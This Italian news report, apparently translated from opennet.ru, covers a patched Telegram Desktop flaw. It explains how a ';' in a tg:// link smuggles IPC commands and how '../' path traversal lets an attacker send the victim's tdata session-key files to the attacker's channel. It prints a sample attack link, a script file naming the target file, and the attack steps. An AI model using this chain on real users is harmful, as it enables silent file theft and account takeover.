Vulnerabilità in Telegram Desktop che consente di inviare file arbitrari cliccando su un link

Sono stati rivelati dettagli e il metodo di sfruttamento della vulnerabilità (CVE-2026-107181) in Telegram Desktop, il client ufficiale di Telegram per i sistemi desktop. Il problema è causato dalla mancanza di una corretta gestione dei caratteri speciali non escape nelle comandi IPC, che consentiva, cliccando su un link inviato, di trasferire all'attaccante qualsiasi file dal sistema della vittima, compresi i file con le chiavi di sessione, che possono essere utilizzate per catturare l'account Telegram. La vulnerabilità è stata corretta nella versione 7.2.9 di Telegram Desktop.

Cliccando sui link «tg://» il sistema operativo avvia l'applicazione Telegram Desktop associata a questo tipo di link. Se nell sistema è già aperta un'altra istanza di questa applicazione, il processo attivo le passa il link tramite socket usando l'interfaccia IPC. Il problema è che, se si specifica il carattere «;» tra i parametri del link (ad esempio, «tg://x?a=1;OPEN…»), il contenuto viene separato, e le parti dopo il carattere «;» vengono elaborate come comandi separati.

Per eseguire l'attacco viene utilizzato il comando OPEN insieme allo schema URI «interpret:», destinato all'avvio di script di servizio tramite IPC, che sono stati usati per inviare automaticamente nuove versioni nei canali. Lo script è un file locale predefinito, che specifica il file da inviare al canale e l'identificativo del canale. Il percorso del file per gli script viene elaborato rispetto a una sottodirectory di servizio, ma a causa della mancanza di pulizia di «../» nei percorsi dei file, l'attaccante ha la possibilità di accedere ai file memorizzati al di fuori della directory di base. Ad esempio, è possibile caricare un file nel proprio gruppo Telegram, per poi riferirsi a quel file come a uno script, preparando un link del tipo:

tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt

Fasi dell'attacco:

  • L'attaccante aggiunge la vittima al proprio gruppo (con le impostazioni predefinite, l'aggiunta non richiede conferma da parte dell'aggiunto) e invia in questo gruppo un file di testo, nel quale è indicato canale e percorso dello script. Telegram salverà questo file in una sottodirectory di sistema predefinita quando la vittima entra nel gruppo.

    channel: 2005234537
    file: tdata/D877F783D5D3EF8Cs

  • L'attaccante invia alla vittima un link apparentemente innocuo al suo host (ad esempio, «https://coolsite.org»), che, una volta aperto, viene reindirizzato a server l'attaccante e viene sostituito con un URI del tipo ‘tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….'
  • Cliccando sul link, il browser chiama il gestore URI «tg://», avviando la catena di comandi sopra menzionata, che porta all'invio di file al canale dell'attaccante senza alcuna notifica e senza richiedere conferma per l'invio.
  • Ricevuti i file dalla sottodirectory tdata con le chiavi di crittografia e autorizzazione, in assenza di una password locale impostata dall'utente, l'attaccante può clonare la sessione della vittima sul proprio dispositivo.

Fonte: opennet.ru

Acquista hosting affidabile per siti web con protezione DDoS, server VPS VDS 🔥 Acquista hosting affidabile per siti web con protezione DDoS, server VPS VDS - ProHoster